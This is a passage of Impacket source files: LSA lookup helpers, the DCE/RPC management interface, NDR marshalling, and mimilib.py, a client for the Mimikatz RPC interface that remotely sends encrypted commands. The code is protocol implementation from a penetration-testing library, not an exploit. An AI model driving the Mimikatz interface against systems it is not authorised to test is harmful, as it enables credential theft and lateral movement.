request['PolicyHandle'] = policyHandle\n    request['Count'] = len(names)\n    for name in names:\n        itemn = RPC_UNICODE_STRING()\n        itemn['Data'] = name\n        request['Names'].append(itemn)\n    request['TranslatedSids']['Sids'] = NULL\n    request['LookupLevel'] = lookupLevel\n    request['LookupOptions'] = lookupOptions\n    request['ClientRevision'] = clientRevision\n\n    return dce.request(request)\n\ndef hLsarLookupNames(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta):\n    request = LsarLookupNames()\n    request['PolicyHandle'] = policyHandle\n    request['Count'] = len(names)\n    for name in names:\n        itemn = RPC_UNICODE_STRING()\n        itemn['Data'] = name\n        request['Names'].append(itemn)\n    request['TranslatedSids']['Sids'] = NULL\n    request['LookupLevel'] = lookupLevel\n\n    return dce.request(request)\n\ndef hLsarLookupSids2(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):\n    request = LsarLookupSids2()\n    request['PolicyHandle'] = policyHandle\n    request['SidEnumBuffer']['Entries'] = len(sids)\n    for sid in sids:\n        itemn = LSAPR_SID_INFORMATION()\n        itemn['Sid'].fromCanonical(sid)\n        request['SidEnumBuffer']['SidInfo'].append(itemn)\n\n    request['TranslatedNames']['Names'] = NULL\n    request['LookupLevel'] = lookupLevel\n    request['LookupOptions'] = lookupOptions\n    request['ClientRevision'] = clientRevision\n\n    return dce.request(request)\n\ndef hLsarLookupSids(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta):\n    request = LsarLookupSids()\n    request['PolicyHandle'] = policyHandle\n    request['SidEnumBuffer']['Entries'] = len(sids)\n    for sid in sids:\n        itemn = LSAPR_SID_INFORMATION()\n        itemn['Sid'].fromCanonical(sid)\n        request['SidEnumBuffer']['SidInfo'].append(itemn)\n\n    request['TranslatedNames']['Names'] = NULL\n    request['LookupLevel'] = lookupLevel\n\n    return dce.request(request)\n"
  },
  {
    "path": "impacket/dcerpc/v5/mgmt.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [C706] Remote Management Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUniConformantVaryingArray\nfrom impacket.dcerpc.v5.epm import PRPC_IF_ID\nfrom impacket.dcerpc.v5.dtypes import ULONG, DWORD_ARRAY, ULONGLONG\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.uuid import uuidtup_to_bin\nfrom impacket import nt_errors\n\nMSRPC_UUID_MGMT  = uuidtup_to_bin(('afa8bd80-7d8a-11c9-bef4-08002b102989','1.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in nt_errors.ERROR_MESSAGES:\n            error_msg_short = nt_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] \n            return 'MGMT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'MGMT SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n\nclass rpc_if_id_p_t_array(NDRUniConformantArray):\n    item = PRPC_IF_ID\n\nclass rpc_if_id_vector_t(NDRSTRUCT):\n    structure = (\n        ('count',ULONG),\n        ('if_id',rpc_if_id_p_t_array),\n    )\n    structure64 = (\n        ('count',ULONGLONG),\n        ('if_id',rpc_if_id_p_t_array),\n    )\n\nclass rpc_if_id_vector_p_t(NDRPOINTER):\n    referent = (\n        ('Data', rpc_if_id_vector_t),\n    )\n\nerror_status = ULONG\n################################################################################\n# STRUCTURES\n################################################################################\n\n################################################################################\n# RPC CALLS\n################################################################################\nclass inq_if_ids(NDRCALL):\n    opnum = 0\n    structure = (\n    )\n\nclass inq_if_idsResponse(NDRCALL):\n    structure = (\n       ('if_id_vector', rpc_if_id_vector_p_t),\n       ('status', error_status),\n    )\n\nclass inq_stats(NDRCALL):\n    opnum = 1\n    structure = (\n       ('count', ULONG),\n    )\n\nclass inq_statsResponse(NDRCALL):\n    structure = (\n       ('count', ULONG),\n       ('statistics', DWORD_ARRAY),\n       ('status', error_status),\n    )\n\nclass is_server_listening(NDRCALL):\n    opnum = 2\n    structure = (\n    )\n\nclass is_server_listeningResponse(NDRCALL):\n    structure = (\n       ('status', error_status),\n    )\n\nclass stop_server_listening(NDRCALL):\n    opnum = 3\n    structure = (\n    )\n\nclass stop_server_listeningResponse(NDRCALL):\n    structure = (\n       ('status', error_status),\n    )\n\nclass inq_princ_name(NDRCALL):\n    opnum = 4\n    structure = (\n       ('authn_proto', ULONG),\n       ('princ_name_size', ULONG),\n    )\n\nclass inq_princ_nameResponse(NDRCALL):\n    structure = (\n       ('princ_name', NDRUniConformantVaryingArray),\n       ('status', error_status),\n    )\n\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n 0 : (inq_if_ids, inq_if_idsResponse),\n 1 : (inq_stats, inq_statsResponse),\n 2 : (is_server_listening, is_server_listeningResponse),\n 3 : (stop_server_listening, stop_server_listeningResponse),\n 4 : (inq_princ_name, inq_princ_nameResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef hinq_if_ids(dce):\n    request = inq_if_ids()\n    return dce.request(request)\n\ndef hinq_stats(dce, count = 4):\n    request = inq_stats()\n    request['count'] = count\n    return dce.request(request)\n\ndef his_server_listening(dce):\n    request = is_server_listening()\n    return dce.request(request, checkError=False)\n\ndef hstop_server_listening(dce):\n    request = stop_server_listening()\n    return dce.request(request)\n\ndef hinq_princ_name(dce, authn_proto=0, princ_name_size=1):\n    request = inq_princ_name()\n    request['authn_proto'] = authn_proto\n    request['princ_name_size'] = princ_name_size\n    return dce.request(request, checkError=False)\n"
  },
  {
    "path": "impacket/dcerpc/v5/mimilib.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Mimikatz Interface implementation, based on @gentilkiwi IDL\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom __future__ import division\nfrom __future__ import print_function\nimport binascii\nimport random\n\nfrom impacket import nt_errors\nfrom impacket.dcerpc.v5.dtypes import DWORD, ULONG\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.uuid import uuidtup_to_bin\nfrom impacket.structure import Structure\n\nMSRPC_UUID_MIMIKATZ   = uuidtup_to_bin(('17FC11E9-C258-4B8D-8D07-2F4125156244', '1.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in nt_errors.ERROR_MESSAGES:\n            error_msg_short = nt_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] \n            return 'Mimikatz SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'Mimikatz SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\nCALG_DH_EPHEM = 0x0000aa02\nTPUBLICKEYBLOB = 0x6\nCUR_BLOB_VERSION = 0x2\nALG_ID = DWORD\nCALG_RC4 = 0x6801\n\n################################################################################\n# STRUCTURES\n################################################################################\nclass PUBLICKEYSTRUC(Structure):\n    structure = (\n        ('bType','B=0'),\n        ('bVersion','B=0'),\n        ('reserved','<H=0'),\n        ('aiKeyAlg','<L=0'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self,data,alignment)\n        self['bType'] = TPUBLICKEYBLOB\n        self['bVersion'] = CUR_BLOB_VERSION\n        self['aiKeyAlg'] = CALG_DH_EPHEM\n\nclass DHPUBKEY(Structure):\n    structure = (\n        ('magic','<L=0'),\n        ('bitlen','<L=0'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self,data,alignment)\n        self['magic'] = 0x31484400\n        self['bitlen'] = 1024\n\nclass PUBLICKEYBLOB(Structure):\n    structure = (\n        ('publickeystruc',':', PUBLICKEYSTRUC),\n        ('dhpubkey',':', DHPUBKEY),\n        ('yLen', '_-y','128'),\n        ('y',':'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self,data,alignment)\n        self['publickeystruc'] = PUBLICKEYSTRUC().getData()\n        self['dhpubkey'] = DHPUBKEY().getData()\n\nclass MIMI_HANDLE(NDRSTRUCT):\n    structure =  (\n        ('Data','20s=\"\"'),\n    )\n    def getAlignment(self):\n        if self._isNDR64 is True:\n            return 8\n        else:\n            return 4\n\nclass BYTE_ARRAY(NDRUniConformantArray):\n    item = 'c'\n\nclass PBYTE_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',BYTE_ARRAY),\n    )\n\nclass MIMI_PUBLICKEY(NDRSTRUCT):\n    structure =  (\n        ('sessionType',ALG_ID),\n        ('cbPublicKey',DWORD),\n        ('pbPublicKey',PBYTE_ARRAY),\n    )\n\nclass PMIMI_PUBLICKEY(NDRPOINTER):\n    referent = (\n        ('Data',MIMI_PUBLICKEY),\n    )\n\n################################################################################\n# RPC CALLS\n################################################################################\nclass MimiBind(NDRCALL):\n    opnum = 0\n    structure = (\n       ('clientPublicKey',MIMI_PUBLICKEY),\n    )\n\nclass MimiBindResponse(NDRCALL):\n    structure = (\n       ('serverPublicKey',MIMI_PUBLICKEY),\n       ('phMimi',MIMI_HANDLE),\n       ('ErrorCode',ULONG),\n    )\n\nclass MimiUnbind(NDRCALL):\n    opnum = 1\n    structure = (\n       ('phMimi',MIMI_HANDLE),\n    )\n\nclass MimiUnbindResponse(NDRCALL):\n    structure = (\n       ('phMimi',MIMI_HANDLE),\n       ('ErrorCode',ULONG),\n    )\n\nclass MimiCommand(NDRCALL):\n    opnum = 2\n    structure = (\n        ('phMimi',MIMI_HANDLE),\n        ('szEncCommand',DWORD),\n        ('encCommand',PBYTE_ARRAY),\n    )\n\nclass MimiCommandResponse(NDRCALL):\n    structure = (\n       ('szEncResult',DWORD),\n       ('encResult',PBYTE_ARRAY),\n       ('ErrorCode',ULONG),\n    )\n\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n 0 : (MimiBind, MimiBindResponse),\n 1 : (MimiUnbind, MimiUnbindResponse),\n 2 : (MimiCommand, MimiCommandResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\n\nclass MimiDiffeH:\n    def __init__(self):\n        self.G = 2\n        self.P = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF\n        self.privateKey = random.getrandbits(1024)\n        #self.privateKey = int('A'*128, base=16)\n\n    def genPublicKey(self):\n        self.publicKey = pow(self.G, self.privateKey, self.P)\n        tmp = hex(self.publicKey)[2:].rstrip('L')\n        if len(tmp) & 1:\n            tmp = '0' + tmp\n        return binascii.unhexlify(tmp)\n\n    def getSharedSecret(self, serverPublicKey):\n        pubKey = int(binascii.hexlify(serverPublicKey), base=16)\n        self.sharedSecret = pow(pubKey, self.privateKey, self.P)\n        tmp = hex(self.sharedSecret)[2:].rstrip('L')\n        if len(tmp) & 1:\n            tmp = '0' + tmp\n        return binascii.unhexlify(tmp)\n\n\ndef hMimiBind(dce, clientPublicKey):\n    request = MimiBind()\n    request['clientPublicKey'] = clientPublicKey\n    return dce.request(request)\n\ndef hMimiCommand(dce, phMimi, encCommand):\n    request = MimiCommand()\n    request['phMimi'] = phMimi\n    request['szEncCommand'] = len(encCommand)\n    request['encCommand'] = list(encCommand)\n    return dce.request(request)\n\nif __name__ == '__main__':\n    from impacket.winregistry import hexdump\n    alice = MimiDiffeH()\n    alice.G = 5\n    alice.P = 23\n    alice.privateKey = 6\n\n    bob = MimiDiffeH()\n    bob.G = 5\n    bob.P = 23\n    bob.privateKey = 15\n\n    print('Alice pubKey')\n    hexdump(alice.genPublicKey())\n    print('Bob pubKey')\n    hexdump(bob.genPublicKey())\n\n    print('Secret')\n    hexdump(alice.getSharedSecret(bob.genPublicKey()))\n    hexdump(bob.getSharedSecret(alice.genPublicKey()))\n"
  },
  {
    "path": "impacket/dcerpc/v5/ndr.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [C706] Transfer NDR Syntax implementation\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# ToDo:\n#   [X] Unions and rest of the structured types\n#   [ ] Documentation for this library, especially the support for Arrays\n#\nfrom __future__ import division\nfrom __future__ import print_function\nimport random\nimport inspect\nfrom struct import pack, unpack_from, calcsize\nfrom six import with_metaclass, PY3\n\nfrom impacket import LOG\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket.uuid import uuidtup_to_bin\n\n# Something important to have in mind:\n# Diagrams do not depict the specified alignment gaps, which can appear in the octet stream\n# before an item (see Section 14.2.2 on page 620.)\n# Where necessary, an alignment gap, consisting of octets of unspecified value, *precedes* the\n# representation of a primitive. The gap is of the smallest size sufficient to align the primitive\n\nclass NDR(object):\n    \"\"\"\n    This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type\n    \"\"\"\n    referent       = ()\n    commonHdr      = ()\n    commonHdr64    = ()\n    structure      = ()\n    structure64    = ()\n    align          = 4\n    item           = None\n    _isNDR64       = False\n\n    def __init__(self, data = None, isNDR64 = False):\n        object.__init__(self)\n        self._isNDR64 = isNDR64\n        self.fields = {}\n\n        if isNDR64 is True:\n            if self.commonHdr64 != ():\n                self.commonHdr = self.commonHdr64\n            if self.structure64 != ():\n                self.structure = self.structure64\n            if hasattr(self, 'align64'):\n                self.align = self.align64\n\n        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent:\n            if self.isNDR(fieldTypeOrClass):\n               self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64)\n            elif fieldTypeOrClass == ':':\n               self.fields[fieldName] = b''\n            elif len(fieldTypeOrClass.split('=')) == 2: \n               try:\n                   self.fields[fieldName] = eval(fieldTypeOrClass.split('=')[1])\n               except:\n                   self.fields[fieldName] = None\n            else:\n               self.fields[fieldName] = []\n\n        if data is not None:\n            self.fromString(data)\n\n    def changeTransferSyntax(self, newSyntax): \n        NDR64Syntax = uuidtup_to_bin(('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))\n        if newSyntax == NDR64Syntax:\n            if self._isNDR64 is False:\n                # Ok, let's change everything\n                self._isNDR64 = True\n                for fieldName in list(self.fields.keys()):\n                    if isinstance(self.fields[fieldName], NDR):\n                        self.fields[fieldName].changeTransferSyntax(newSyntax)\n                # Finally, I change myself\n                if self.commonHdr64 != ():\n                    self.commonHdr = self.commonHdr64\n                if self.structure64 != ():\n                    self.structure = self.structure64\n                if hasattr(self, 'align64'):\n                    self.align = self.align64\n                # And check whether the changes changed the data types\n                # if so, I need to instantiate the new ones and copy the\n                # old values\n                for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent:\n                    if isinstance(self.fields[fieldName], NDR):\n                        if fieldTypeOrClass != self.fields[fieldName].__class__ and isinstance(self.fields[fieldName], NDRPOINTERNULL) is False:\n                            backupData = self[fieldName]\n                            self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64)\n                            if 'Data' in self.fields[fieldName].fields:\n                                self.fields[fieldName].fields['Data'] = backupData\n                            else:\n                                self[fieldName] = backupData\n  \n        else:\n            if self._isNDR64 is True:\n                # Ok, nothing for now\n                raise Exception('Shouldn\\'t be here')\n\n    def __setitem__(self, key, value):\n        if isinstance(value, NDRPOINTERNULL):\n            value = NDRPOINTERNULL(isNDR64 = self._isNDR64)\n            if isinstance(self.fields[key], NDRPOINTER):\n                self.fields[key] = value\n            elif 'Data' in self.fields[key].fields:\n                if isinstance(self.fields[key].fields['Data'], NDRPOINTER):\n                    self.fields[key].fields['Data'] = value\n        elif isinstance(value, NDR):\n            # It's not a null pointer, ok. Another NDR type, but it \n            # must be the same same as the iteam already in place\n            if self.fields[key].__class__.__name__ == value.__class__.__name__:\n                self.fields[key] = value\n            elif isinstance(self.fields[key]['Data'], NDR):\n                if self.fields[key]['Data'].__class__.__name__ == value.__class__.__name__:\n                    self.fields[key]['Data'] = value\n                else:\n                    LOG.error(\"Can't setitem with class specified, should be %s\" % self.fields[key]['Data'].__class__.__name__)\n            else:\n                LOG.error(\"Can't setitem with class specified, should be %s\" % self.fields[key].__class__.__name__)\n        elif isinstance(self.fields[key], NDR):\n            self.fields[key]['Data'] = value\n        else:\n            self.fields[key] = value\n\n    def __getitem__(self, key):\n        if isinstance(self.fields[key], NDR):\n            if 'Data' in self.fields[key].fields:\n                return self.fields[key]['Data']\n        return self.fields[key]\n\n    def __str__(self):\n        return self.getData()\n\n    def __len__(self):\n        # XXX: improve\n        return len(self.getData())\n\n    def getDataLen(self, data, offset=0):\n        return len(data) - offset\n\n    @staticmethod\n    def isNDR(field):\n        if inspect.isclass(field):\n            myClass = field\n            if issubclass(myClass, NDR):\n                return True\n        return False\n\n    def dumpRaw(self, msg = None, indent = 0):\n        if msg is None:\n            msg = self.__class__.__name__\n        ind = ' '*indent\n        print(\"\\n%s\" % msg)\n        for field in self.commonHdr+self.structure+self.referent:\n            i = field[0] \n            if i in self.fields:\n                if isinstance(self.fields[i], NDR):\n                    self.fields[i].dumpRaw('%s%s:{' % (ind,i), indent = indent + 4)\n                    print(\"%s}\" % ind)\n\n                elif isinstance(self.fields[i], list):\n                    print(\"%s[\" % ind)\n                    for num,j in enumerate(self.fields[i]):\n                       if isinstance(j, NDR):\n                           j.dumpRaw('%s%s:' % (ind,i), indent = indent + 4)\n                           print(\"%s,\" % ind)\n                       else:\n                           print(\"%s%s: {%r},\" % (ind, i, j))\n                    print(\"%s]\" % ind)\n\n                else:\n                    print(\"%s%s: {%r}\" % (ind,i,self[i]))\n\n    def dump(self, msg = None, indent = 0):\n        if msg is None:\n            msg = self.__class__.__name__\n        ind = ' '*indent\n        if msg != '':\n            print(\"%s\" % msg, end=' ')\n        for fieldName, fieldType in self.commonHdr+self.structure+self.referent:\n            if fieldName in self.fields:\n                if isinstance(self.fields[fieldName], NDR):\n                    self.fields[fieldName].dump('\\n%s%-31s' % (ind, fieldName+':'), indent = indent + 4),\n                else:\n                    print(\" %r\" % (self[fieldName]), end=' ')\n\n    def getAlignment(self):\n        return self.align\n\n    @staticmethod\n    def calculatePad(fieldType, soFar):\n        if isinstance(fieldType, str):\n            try:\n                alignment = calcsize(fieldType.split('=')[0])\n            except:\n                alignment = 0\n        else:\n            alignment = 0\n\n        if alignment > 0:\n            pad = (alignment - (soFar % alignment)) % alignment\n        else:\n            pad = 0\n\n        return pad\n\n    def getData(self, soFar = 0):\n        data = b''\n        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:\n            try:\n                # Alignment of Primitive Types\n\n                # NDR enforces NDR alignment of primitive data; that is, any primitive of size n\n                # octets is aligned at a octet stream index that is a multiple of n.\n                # (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates\n                # the number of an octet in an octet stream when octets are numbered, beginning with 0,\n                # from the first octet in the stream. Where necessary, an alignment gap, consisting of\n                # octets of unspecified value, precedes the representation of a primitive. The gap is\n                # of the smallest size sufficient to align the primitive.\n                pad = self.calculatePad(fieldTypeOrClass, soFar)\n                if pad > 0:\n                    soFar += pad\n                    data += b'\\xbf'*pad\n\n                res = self.pack(fieldName, fieldTypeOrClass, soFar)\n\n                data += res\n                soFar += len(res)\n            except Exception as e:\n                LOG.error(str(e))\n                LOG.error(\"Error packing field '%s | %s' in %s\" % (fieldName, fieldTypeOrClass, self.__class__))\n                raise\n\n        return data\n\n    def fromString(self, data, offset=0):\n        offset0 = offset\n        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:\n            try:\n                # Alignment of Primitive Types\n\n                # NDR enforces NDR alignment of primitive data; that is, any primitive of size n\n                # octets is aligned at a octet stream index that is a multiple of n.\n                # (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates\n                # the number of an octet in an octet stream when octets are numbered, beginning with 0,\n                # from the first octet in the stream. Where necessary, an alignment gap, consisting of\n                # octets of unspecified value, precedes the representation of a primitive. The gap is\n                # of the smallest size sufficient to align the primitive.\n                offset += self.calculatePad(fieldTypeOrClass, offset)\n\n                offset += self.unpack(fieldName, fieldTypeOrClass, data, offset)\n            except Exception as e:\n                LOG.error(str(e))\n                LOG.error(\"Error unpacking field '%s | %s | %r'\" % (fieldName, fieldTypeOrClass, data[offset:offset+256]))\n                raise\n        return offset - offset0\n\n    def pack(self, fieldName, fieldTypeOrClass, soFar = 0):\n        if isinstance(self.fields[fieldName], NDR):\n            return self.fields[fieldName].getData(soFar)\n\n        data = self.fields[fieldName]\n        # void specifier\n        if fieldTypeOrClass[:1] == '_':\n            return b''\n\n        # code specifier\n        two = fieldTypeOrClass.split('=')\n        if len(two) >= 2:\n            try:\n                return self.pack(fieldName, two[0], soFar)\n            except:\n                self.fields[fieldName] = eval(two[1], {}, self.fields)\n                return self.pack(fieldName, two[0], soFar)\n\n        if data is None:\n            raise Exception('Trying to pack None')\n\n        # literal specifier\n        if fieldTypeOrClass[:1] == ':':\n            if hasattr(data, 'getData'):\n                return data.getData()\n            return data\n\n        # struct like specifier\n        return pack(fieldTypeOrClass, data)\n\n    def unpack(self, fieldName, fieldTypeOrClass, data, offset=0):\n        if isinstance(self.fields[fieldName], NDR):\n            return self.fields[fieldName].fromString(data, offset)\n\n        # code specifier\n        two = fieldTypeOrClass.split('=')\n        if len(two) >= 2:\n            return self.unpack(fieldName, two[0], data, offset)\n\n        # literal specifier\n        if fieldTypeOrClass == ':':\n            if isinstance(fieldTypeOrClass, NDR):\n                return self.fields[fieldName].fromString(data, offset)\n            else:\n                dataLen = self.getDataLen(data, offset)\n                self.fields[fieldName] =  data[offset:offset+dataLen]\n                return dataLen\n\n        # struct like specifier\n        self.fields[fieldName] = unpack_from(fieldTypeOrClass, data, offset)[0]\n\n        return calcsize(fieldTypeOrClass)\n\n    def calcPackSize(self, fieldTypeOrClass, data):\n        if isinstance(fieldTypeOrClass, str) is False:\n            return len(data)\n\n        # code specifier\n        two = fieldTypeOrClass.split('=')\n        if len(two) >= 2:\n            return self.calcPackSize(two[0], data)\n\n        # literal specifier\n        if fieldTypeOrClass[:1] == ':':\n            return len(data)\n\n        # struct like specifier\n        return calcsize(fieldTypeOrClass)\n\n    def calcUnPackSize(self, fieldTypeOrClass, data, offset=0):\n        if isinstance(fieldTypeOrClass, str) is False:\n            return len(data) - offset\n\n        # code specifier\n        two = fieldTypeOrClass.split('=')\n        if len(two) >= 2:\n            return self.calcUnPackSize(two[0], data, offset)\n\n        # array specifier\n        two = fieldTypeOrClass.split('*')\n        if len(two) == 2:\n            return len(data) - offset\n\n        # literal specifier\n        if fieldTypeOrClass[:1] == ':':\n            return len(data) - offset\n\n        # struct like specifier\n        return calcsize(fieldTypeOrClass)\n\n# NDR Primitives\nclass NDRSMALL(NDR):\n    align = 1\n    structure = (\n        ('Data', 'b=0'),\n    )\n\nclass NDRUSMALL(NDR):\n    align = 1\n    structure = (\n        ('Data', 'B=0'),\n    )\n\nclass NDRBOOLEAN(NDRSMALL):\n    def dump(self, msg = None, indent = 0):\n        if msg is None:\n            msg = self.__class__.__name__\n        if msg != '':\n            print(msg, end=' ')\n\n        if self['Data'] > 0:\n            print(\" TRUE\")\n        else:\n            print(\" FALSE\")\n\nclass NDRCHAR(NDR):\n    align = 1\n    structure = (\n        ('Data', 'c'),\n    )\n\nclass NDRSHORT(NDR):\n    align = 2\n    structure = (\n        ('Data', '<h=0'),\n    )\n\nclass NDRUSHORT(NDR):\n    align = 2\n    structure = (\n        ('Data', '<H=0'),\n    )\n\nclass NDRLONG(NDR):\n    align = 4\n    structure = (\n        ('Data', '<l=0'),\n    )\n\nclass NDRULONG(NDR):\n    align = 4\n    structure = (\n        ('Data', '<L=0'),\n    )\n\nclass NDRHYPER(NDR):\n    align = 8\n    structure = (\n        ('Data', '<q=0'),\n    )\n\nclass NDRUHYPER(NDR):\n    align = 8\n    structure = (\n        ('Data', '<Q=0'),\n    )\n\nclass NDRFLOAT(NDR):\n    align = 4\n    structure = (\n        ('Data', '<f=0'),\n    )\n\nclass NDRDOUBLEFLOAT(NDR):\n    align = 8\n    structure = (\n        ('Data', '<d=0'),\n    )\n\nclass EnumType(type):\n    def __getattr__(self, attr):\n        return self.enumItems[attr].value\n\nclass NDRENUM(with_metaclass(EnumType, NDR)):\n    align = 2\n    align64 = 4\n    structure = (\n        ('Data', '<H'),\n    )\n\n    # 2.2.5.2 NDR64 Simple Data Types\n    # NDR64 supports all simple types defined by NDR (as specified in [C706] section 14.2)\n    # with the same alignment requirements except for enumerated types, which MUST be \n    # represented as signed long integers (4 octets) in NDR64.\n    structure64 = (\n        ('Data', '<L'),\n    )\n    # enum MUST be an python enum (see enum.py)\n    class enumItems(Enum):\n        pass\n\n    def __setitem__(self, key, value):\n       if isinstance(value, Enum):\n           self['Data'] = value.value\n       else:\n           return NDR.__setitem__(self,key,value)\n\n    def dump(self, msg = None, indent = 0):\n        if msg is None:\n            msg = self.__class__.__name__\n        if msg != '':\n            print(msg, end=' ')\n\n        print(\" %s\" % self.enumItems(self.fields['Data']).name, end=' ')\n\n# NDR Constructed Types (arrays, strings, structures, unions, variant structures, pipes and pointers)\nclass NDRCONSTRUCTEDTYPE(NDR):\n    @staticmethod\n    def isPointer(field):\n        if inspect.isclass(field):\n            myClass = field\n            if issubclass(myClass, NDRPOINTER):\n                return True\n        return False\n\n    @staticmethod\n    def isUnion(field):\n        if inspect.isclass(field):\n            myClass = field\n            if issubclass(myClass, NDRUNION):\n                return True\n        return False\n\n    def getDataReferents(self, soFar = 0):\n        data = b''\n        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:\n            if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE):\n               data += self.fields[fieldName].getDataReferents(len(data)+soFar)\n               data += self.fields[fieldName].getDataReferent(len(data)+soFar)\n        return data\n\n    def getDataReferent(self, soFar=0):\n        data = b''\n        soFar0 = soFar\n        if hasattr(self,'referent') is False:\n            return b''\n\n        if 'ReferentID' in self.fields:\n            if self['ReferentID'] == 0:\n                return b''\n\n        for fieldName, fieldTypeOrClass in self.referent:\n            try:\n                if isinstance(self.fields[fieldName], NDRUniConformantArray) or isinstance(self.fields[fieldName], NDRUniConformantVaryingArray):\n                    # So we have an array, first item in the structure must be the array size, although we\n                    # will need to build it later.\n                    if self._isNDR64:\n                        arrayItemSize = 8\n                        arrayPackStr = '<Q'\n                    else:\n                        arrayItemSize = 4\n                        arrayPackStr = '<L'\n\n                    # The size information is itself aligned according to the alignment rules for\n                    # primitive data types. (See Section 14.2.2 on page 620.) The data of the constructed\n                    # type is then aligned according to the alignment rules for the constructed type.\n                    # In other words, the size information precedes the structure and is aligned\n                    # independently of the structure alignment.\n                    # We need to check whether we need padding or not\n                    pad0 = (arrayItemSize - (soFar % arrayItemSize)) % arrayItemSize\n                    if pad0 > 0:\n                        soFar += pad0\n                        arrayPadding = b'\\xef'*pad0\n                    else:\n                        arrayPadding = b''\n                    # And now, let's pretend we put the item in\n                    soFar += arrayItemSize\n                    data = self.fields[fieldName].getData(soFar)\n                    data = arrayPadding + pack(arrayPackStr, self.getArrayMaximumSize(fieldName)) + data\n                else:\n                    pad = self.calculatePad(fieldTypeOrClass, soFar)\n                    if pad > 0:\n                        soFar += pad\n                        data += b'\\xcc'*pad\n\n                    data += self.pack(fieldName, fieldTypeOrClass, soFar)\n\n                # Any referent information to pack?\n                if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE):\n                    data += self.fields[fieldName].getDataReferents(soFar0 + len(data))\n                    data += self.fields[fieldName].getDataReferent(soFar0 + len(data))\n                soFar = soFar0 + len(data)\n\n            except Exception as e:\n                LOG.error(str(e))\n                LOG.error(\"Error packing field 